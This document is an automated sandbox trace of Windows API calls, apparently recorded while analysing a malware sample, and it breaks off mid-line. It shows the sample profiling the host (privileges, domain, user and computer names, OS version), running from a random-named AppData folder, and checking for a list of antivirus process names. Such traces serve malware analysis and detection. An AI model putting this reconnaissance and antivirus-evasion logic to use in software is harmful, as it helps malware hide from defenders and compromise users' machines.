RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef6b0 [0272.394] GetProcAddress (hModule=0x76bd0000, lpProcName="StrStrW") returned 0x76be7850 [0272.395] lstrlenA (lpString="StrStrW") returned 7 [0272.395] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.395] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26ef6b0 [0272.395] LoadLibraryA (lpLibFileName="setupapi.dll") returned 0x76430000 [0272.400] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x16) returned 0x26ef6c8 [0272.400] GetProcAddress (hModule=0x76430000, lpProcName="SetupDiEnumDeviceInfo") returned 0x76448a60 [0272.400] lstrlenA (lpString="SetupDiEnumDeviceInfo") returned 21 [0272.400] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6c8 | out: hHeap=0x2670000) returned 1 [0272.400] lstrlenA (lpString="setupapi.dll") returned 12 [0272.400] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.400] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x1d) returned 0x26ef6b0 [0272.401] GetProcAddress (hModule=0x76430000, lpProcName="SetupDiDestroyDeviceInfoList") returned 0x76448640 [0272.401] lstrlenA (lpString="SetupDiDestroyDeviceInfoList") returned 28 [0272.401] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.401] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x15) returned 0x26ef6b0 [0272.401] GetProcAddress (hModule=0x76430000, lpProcName="SetupDiGetClassDevsA") returned 0x76458af0 [0272.401] lstrlenA (lpString="SetupDiGetClassDevsA") returned 20 [0272.401] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.401] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x22) returned 0x26ef6b0 [0272.401] GetProcAddress (hModule=0x76430000, lpProcName="SetupDiGetDeviceRegistryPropertyA") returned 0x764580f0 [0272.401] lstrlenA (lpString="SetupDiGetDeviceRegistryPropertyA") returned 33 [0272.401] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.401] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0272.401] GetCurrentProcessId () returned 0x1384 [0272.402] GetTickCount () returned 0x1184757 [0272.402] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x412140, nSize=0x105 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\qieeyrekuc\\xafpqko.exe")) returned 0x40 [0272.402] GetCurrentProcess () returned 0xffffffff [0272.402] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19f304 | out: TokenHandle=0x19f304*=0x214) returned 1 [0272.402] GetTokenInformation (in: TokenHandle=0x214, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x19f2e4 | out: TokenInformation=0x0, ReturnLength=0x19f2e4) returned 0 [0272.402] GetLastError () returned 0x7a [0272.402] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x24) returned 0x26ef6b0 [0272.402] GetTokenInformation (in: TokenHandle=0x214, TokenInformationClass=0x1, TokenInformation=0x26ef6b0, TokenInformationLength=0x24, ReturnLength=0x19f300 | out: TokenInformation=0x26ef6b0, ReturnLength=0x19f300) returned 1 [0272.402] CloseHandle (hObject=0x214) returned 1 [0272.402] AllocateAndInitializeSid (in: pIdentifierAuthority=0x19f2f8, nSubAuthorityCount=0x1, nSubAuthority0=0x12, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x19f300 | out: pSid=0x19f300*=0x62a738*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12)) returned 1 [0272.402] EqualSid (pSid1=0x26ef6b8*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xb4)), pSid2=0x62a738*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12)) returned 0 [0272.402] GetCurrentThread () returned 0xfffffffe [0272.402] OpenThreadToken (in: ThreadHandle=0xfffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x19f2dc | out: TokenHandle=0x19f2dc*=0x0) returned 0 [0272.402] GetLastError () returned 0x3f0 [0272.402] GetCurrentProcess () returned 0xffffffff [0272.402] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19f2dc | out: TokenHandle=0x19f2dc*=0x214) returned 1 [0272.402] GetTokenInformation (in: TokenHandle=0x214, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x19f2cc | out: TokenInformation=0x0, ReturnLength=0x19f2cc) returned 0 [0272.403] GetLastError () returned 0x7a [0272.403] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x140) returned 0x26ef6e0 [0272.403] GetTokenInformation (in: TokenHandle=0x214, TokenInformationClass=0x2, TokenInformation=0x26ef6e0, TokenInformationLength=0x140, ReturnLength=0x19f2f4 | out: TokenInformation=0x26ef6e0, ReturnLength=0x19f2f4) returned 1 [0272.403] AllocateAndInitializeSid (in: pIdentifierAuthority=0x19f2ec, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x19f300 | out: pSid=0x19f300*=0x62a738*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0272.403] EqualSid (pSid1=0x26ef754*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xb4)), pSid2=0x62a738*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 0 [0272.403] EqualSid (pSid1=0x26ef770*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0), pSid2=0x62a738*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 0 [0272.403] EqualSid (pSid1=0x26ef77c*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x72), pSid2=0x62a738*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 0 [0272.403] EqualSid (pSid1=0x26ef788*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x62a738*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0272.403] CloseHandle (hObject=0x214) returned 1 [0272.403] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6e0 | out: hHeap=0x2670000) returned 1 [0272.403] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26ef6e0 [0272.403] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26ef6f8 [0272.403] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74560000 [0272.403] lstrlenA (lpString="kernel32.dll") returned 12 [0272.403] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6e0 | out: hHeap=0x2670000) returned 1 [0272.403] GetProcAddress (hModule=0x74560000, lpProcName="GetProcAddress") returned 0x745751b0 [0272.404] lstrlenA (lpString="GetProcAddress") returned 14 [0272.404] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6f8 | out: hHeap=0x2670000) returned 1 [0272.404] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26ef6e0 [0272.404] LoadLibraryA (lpLibFileName="netapi32.dll") returned 0x74060000 [0272.407] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x11) returned 0x26ef6f8 [0272.407] GetProcAddress (hModule=0x74060000, lpProcName="NetApiBufferFree") returned 0x740517c0 [0272.412] lstrlenA (lpString="NetApiBufferFree") returned 16 [0272.412] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6f8 | out: hHeap=0x2670000) returned 1 [0272.412] lstrlenA (lpString="netapi32.dll") returned 12 [0272.412] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6e0 | out: hHeap=0x2670000) returned 1 [0272.412] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26ef6e0 [0272.412] GetProcAddress (hModule=0x74060000, lpProcName="NetUserEnum") returned 0x74033970 [0272.416] lstrlenA (lpString="NetUserEnum") returned 11 [0272.416] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6e0 | out: hHeap=0x2670000) returned 1 [0272.416] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26ef6e0 [0272.416] GetProcAddress (hModule=0x74060000, lpProcName="NetGetDCName") returned 0x7401db20 [0272.434] lstrlenA (lpString="NetGetDCName") returned 12 [0272.434] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6e0 | out: hHeap=0x2670000) returned 1 [0272.434] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x16) returned 0x26ef6e0 [0272.434] GetProcAddress (hModule=0x74060000, lpProcName="NetGetJoinInformation") returned 0x73ff3060 [0272.442] lstrlenA (lpString="NetGetJoinInformation") returned 21 [0272.443] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6e0 | out: hHeap=0x2670000) returned 1 [0272.443] NetGetDCName (in: servername=0x0, domainname=0x0, bufptr=0x19ff3c | out: bufptr=0x19ff3c) returned 0x995 [0272.451] NetGetJoinInformation (in: lpServer=0x0, lpNameBuffer=0x19ff3c, BufferType=0x19ff34 | out: lpNameBuffer=0x19ff3c*="WORKGROUP", BufferType=0x19ff34) returned 0x0 [0272.511] lstrlenW (lpString="WORKGROUP") returned 9 [0272.511] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x14) returned 0x26ef6e0 [0272.511] NetApiBufferFree (Buffer=0x652f10) returned 0x0 [0272.511] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x26ef6b8*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xb4)), Name=0x4109e8, cchName=0x19ff38, ReferencedDomainName=0x19fcec, cchReferencedDomainName=0x19ff48, peUse=0x19ff30 | out: Name="FD1HVy", cchName=0x19ff38, ReferencedDomainName="NQDPDE", cchReferencedDomainName=0x19ff48, peUse=0x19ff30) returned 1 [0272.515] GetSystemMetrics (nIndex=4096) returned 0 [0272.559] GetModuleFileNameW (in: hModule=0x400000, lpFilename=0x410af8, nSize=0x20a | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\qieeyrekuc\\xafpqko.exe")) returned 0x40 [0272.559] lstrcpynW (in: lpString1=0x4109a4, lpString2="xafpqko.exe", iMaxLength=64 | out: lpString1="xafpqko.exe") returned="xafpqko.exe" [0272.559] lstrlenW (lpString="xafpqko.exe") returned 11 [0272.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="xafpqko", cchWideChar=-1, lpMultiByteStr=0x410984, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xafpqko", lpUsedDefaultChar=0x0) returned 8 [0272.559] lstrlenW (lpString="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe") returned 64 [0272.559] lstrcpynW (in: lpString1=0x410f38, lpString2="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc", iMaxLength=261 | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc" [0272.559] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc", lpString2="\\" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\" [0272.559] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\", lpString2="xafpqko" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko" [0272.559] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26ef700 [0272.559] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko", lpString2=".dat" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.dat") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.dat" [0272.559] lstrlenA (lpString=".") returned 1 [0272.560] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef700 | out: hHeap=0x2670000) returned 1 [0272.560] lstrlenA (lpString="user32.dll") returned 10 [0272.560] lstrlenA (lpString="user32.dll") returned 10 [0272.560] lstrlenA (lpString="user32.dll") returned 10 [0272.560] lstrlenA (lpString="user32.dll") returned 10 [0272.560] lstrlenA (lpString="user32.dll") returned 10 [0272.560] lstrlenA (lpString="user32.dll") returned 10 [0272.560] lstrlenA (lpString="user32.dll") returned 10 [0272.560] lstrlenA (lpString="user32.dll") returned 10 [0272.560] lstrlenA (lpString="user32.dll") returned 10 [0272.560] lstrlenA (lpString="user32.dll") returned 10 [0272.560] lstrlenA (lpString="user32.dll") returned 10 [0272.560] lstrlenA (lpString="xafpqko") returned 7 [0272.560] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x1b) returned 0x26ef700 [0272.560] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x26ef728 [0272.560] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0272.561] lstrlenA (lpString="user32.dll") returned 10 [0272.561] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0272.561] lstrlenA (lpString="user32.dll") returned 10 [0272.561] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0272.561] lstrlenA (lpString="user32.dll") returned 10 [0272.561] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0272.561] lstrlenA (lpString="user32.dll") returned 10 [0272.561] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0272.561] lstrlenA (lpString="user32.dll") returned 10 [0272.561] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0272.561] lstrlenA (lpString="user32.dll") returned 10 [0272.561] lstrlenA (lpString="1234567890") returned 10 [0272.561] lstrlenA (lpString="user32.dll") returned 10 [0272.561] lstrlenA (lpString="1234567890") returned 10 [0272.561] lstrlenA (lpString="user32.dll") returned 10 [0272.561] lstrlenA (lpString="1234567890") returned 10 [0272.561] lstrlenA (lpString="user32.dll") returned 10 [0272.561] lstrlenA (lpString="1234567890") returned 10 [0272.561] lstrlenA (lpString="user32.dll") returned 10 [0272.561] lstrlenA (lpString="1234567890") returned 10 [0272.561] lstrlenA (lpString="user32.dll") returned 10 [0272.561] lstrlenA (lpString="1234567890") returned 10 [0272.561] lstrlenA (lpString="user32.dll") returned 10 [0272.561] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0272.561] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef700 | out: hHeap=0x2670000) returned 1 [0272.561] lstrlenA (lpString="1234567890") returned 10 [0272.561] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef728 | out: hHeap=0x2670000) returned 1 [0272.562] GetCurrentProcess () returned 0xffffffff [0272.562] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19f304 | out: TokenHandle=0x19f304*=0x28c) returned 1 [0272.562] GetTokenInformation (in: TokenHandle=0x28c, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x19f2dc | out: TokenInformation=0x0, ReturnLength=0x19f2dc) returned 0 [0272.562] GetLastError () returned 0x7a [0272.562] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x14) returned 0x26ef700 [0272.562] GetTokenInformation (in: TokenHandle=0x28c, TokenInformationClass=0x19, TokenInformation=0x26ef700, TokenInformationLength=0x14, ReturnLength=0x19f2fc | out: TokenInformation=0x26ef700, ReturnLength=0x19f2fc) returned 1 [0272.562] GetSidSubAuthorityCount (pSid=0x26ef708*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x26ef709 [0272.562] GetSidSubAuthority (pSid=0x26ef708*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x26ef710 [0272.562] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef700 | out: hHeap=0x2670000) returned 1 [0272.562] CloseHandle (hObject=0x28c) returned 1 [0272.562] GetVersionExA (in: lpVersionInformation=0x4108e0*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x4108e0*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0272.562] GetModuleHandleA (lpModuleName="kernel32") returned 0x74560000 [0272.562] GetProcAddress (hModule=0x74560000, lpProcName="IsWow64Process") returned 0x74575a20 [0272.562] GetCurrentProcess () returned 0xffffffff [0272.562] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x19ff48 | out: Wow64Process=0x19ff48) returned 1 [0272.562] GetWindowsDirectoryW (in: lpBuffer=0x411b1c, uSize=0x104 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0272.563] GetEnvironmentVariableW (in: lpName="SystemRoot", lpBuffer=0x19fce4, nSize=0x104 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0272.563] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x411f30, nSize=0x209 | out: lpBuffer="C:\\Users\\FD1HVy") returned 0xf [0272.563] GetEnvironmentVariableW (in: lpName="TEMP", lpBuffer=0x411d26, nSize=0x20a | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp") returned 0x22 [0272.563] GetEnvironmentVariableA (in: lpName="SystemDrive", lpBuffer=0x19fef0, nSize=0x3f | out: lpBuffer="C:") returned 0x2 [0272.563] GetComputerNameW (in: lpBuffer=0x41249c, nSize=0x19ff48 | out: lpBuffer="NQDPDE", nSize=0x19ff48) returned 1 [0272.563] lstrlenA (lpString="tqiffy725810") returned 12 [0272.563] lstrlenA (lpString="user32.dll") returned 10 [0272.563] lstrlenA (lpString="user32.dll") returned 10 [0272.563] lstrlenA (lpString="user32.dll") returned 10 [0272.563] lstrlenA (lpString="user32.dll") returned 10 [0272.563] lstrlenA (lpString="user32.dll") returned 10 [0272.563] lstrlenA (lpString="user32.dll") returned 10 [0272.563] lstrlenA (lpString="user32.dll") returned 10 [0272.563] lstrlenA (lpString="user32.dll") returned 10 [0272.563] lstrlenA (lpString="user32.dll") returned 10 [0272.563] lstrlenA (lpString="user32.dll") returned 10 [0272.563] lstrlenA (lpString="user32.dll") returned 10 [0272.563] lstrlenA (lpString="user32.dll") returned 10 [0272.563] lstrlenA (lpString="user32.dll") returned 10 [0272.563] lstrlenA (lpString="user32.dll") returned 10 [0272.563] lstrlenA (lpString="user32.dll") returned 10 [0272.563] lstrlenA (lpString="user32.dll") returned 10 [0272.563] lstrlenA (lpString="user32.dll") returned 10 [0272.563] lstrlenA (lpString="user32.dll") returned 10 [0272.563] lstrlenA (lpString="user32.dll") returned 10 [0272.564] lstrlenA (lpString="user32.dll") returned 10 [0272.564] lstrlenA (lpString="user32.dll") returned 10 [0272.564] lstrlenA (lpString="user32.dll") returned 10 [0272.564] lstrlenA (lpString="user32.dll") returned 10 [0272.564] lstrlenA (lpString="user32.dll") returned 10 [0272.564] lstrlenA (lpString="user32.dll") returned 10 [0272.564] lstrlenA (lpString="user32.dll") returned 10 [0272.564] lstrlenA (lpString="user32.dll") returned 10 [0272.564] lstrlenA (lpString="user32.dll") returned 10 [0272.564] lstrlenA (lpString="user32.dll") returned 10 [0272.564] lstrlenA (lpString="user32.dll") returned 10 [0272.564] lstrlenA (lpString="user32.dll") returned 10 [0272.564] lstrlenA (lpString="user32.dll") returned 10 [0272.564] lstrlenA (lpString="user32.dll") returned 10 [0272.564] lstrlenA (lpString="user32.dll") returned 10 [0272.564] lstrlenA (lpString="user32.dll") returned 10 [0272.564] lstrlenA (lpString="user32.dll") returned 10 [0272.564] lstrlenA (lpString="user32.dll") returned 10 [0272.564] lstrlenA (lpString="user32.dll") returned 10 [0272.564] lstrlenA (lpString="user32.dll") returned 10 [0272.564] lstrlenA (lpString="user32.dll") returned 10 [0272.564] lstrlenA (lpString="user32.dll") returned 10 [0272.564] lstrlenA (lpString="user32.dll") returned 10 [0272.564] lstrlenA (lpString="user32.dll") returned 10 [0272.564] lstrlenA (lpString="user32.dll") returned 10 [0272.564] lstrlenA (lpString="user32.dll") returned 10 [0272.564] lstrlenA (lpString="user32.dll") returned 10 [0272.564] lstrlenA (lpString="user32.dll") returned 10 [0272.564] lstrlenA (lpString="user32.dll") returned 10 [0272.564] lstrlenA (lpString="user32.dll") returned 10 [0272.565] lstrlenA (lpString="user32.dll") returned 10 [0272.565] lstrlenA (lpString="user32.dll") returned 10 [0272.565] lstrlenA (lpString="user32.dll") returned 10 [0272.565] lstrlenA (lpString="user32.dll") returned 10 [0272.565] lstrlenA (lpString="user32.dll") returned 10 [0272.565] lstrlenA (lpString="user32.dll") returned 10 [0272.565] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26ef700 [0272.565] lstrlenA (lpString="ccSvcHst.exe") returned 12 [0272.565] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x4) returned 0x26ef718 [0272.565] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26ef728 [0272.565] lstrlenA (lpString="ccSvcHst.exe") returned 12 [0272.565] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef700 | out: hHeap=0x2670000) returned 1 [0272.565] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x26) returned 0x26ef740 [0272.565] lstrlenA (lpString="avgcsrvx.exe;avgsvcx.exe;avgcsrva.exe") returned 37 [0272.565] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26ef700 [0272.565] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26ef770 [0272.565] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26ef788 [0272.565] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26ef7a0 [0272.565] lstrlenA (lpString="avgcsrvx.exe;avgsvcx.exe;avgcsrva.exe") returned 37 [0272.565] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef740 | out: hHeap=0x2670000) returned 1 [0272.565] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26ef740 [0272.565] lstrlenA (lpString="MsMpEng.exe") returned 11 [0272.565] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x4) returned 0x26ef758 [0272.565] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26ef7b8 [0272.565] lstrlenA (lpString="MsMpEng.exe") returned 11 [0272.565] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef740 | out: hHeap=0x2670000) returned 1 [0272.565] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26ef740 [0272.565] lstrlenA (lpString="mcshield.exe") returned 12 [0272.565] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x4) returned 0x26ef7d0 [0272.565] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26ef7e0 [0272.565] lstrlenA (lpString="mcshield.exe") returned 12 [0272.566] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef740 | out: hHeap=0x2670000) returned 1 [0272.566] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x14) returned 0x26ef7f8 [0272.566] lstrlenA (lpString="avp.exe;kavtray.exe") returned 19 [0272.566] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef740 [0272.566] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef818 [0272.566] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26ef828 [0272.566] lstrlenA (lpString="avp.exe;kavtray.exe") returned 19 [0272.566] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef7f8 | out: hHeap=0x2670000) returned 1 [0272.566] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x12) returned 0x26ef7f8 [0272.566] lstrlenA (lpString="egui.exe;ekrn.exe") returned 17 [0272.566] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef840 [0272.566] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26ef850 [0272.566] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26ef868 [0272.566] lstrlenA (lpString="egui.exe;ekrn.exe") returned 17 [0272.566] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef7f8 | out: hHeap=0x2670000) returned 1 [0272.566] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x25) returned 0x26ef880 [0272.566] lstrlenA (lpString="bdagent.exe;vsserv.exe;vsservppl.exe") returned 36 [0272.566] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26ef7f8 [0272.566] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26ef8b0 [0272.566] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x26ef8c8 [0272.566] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, 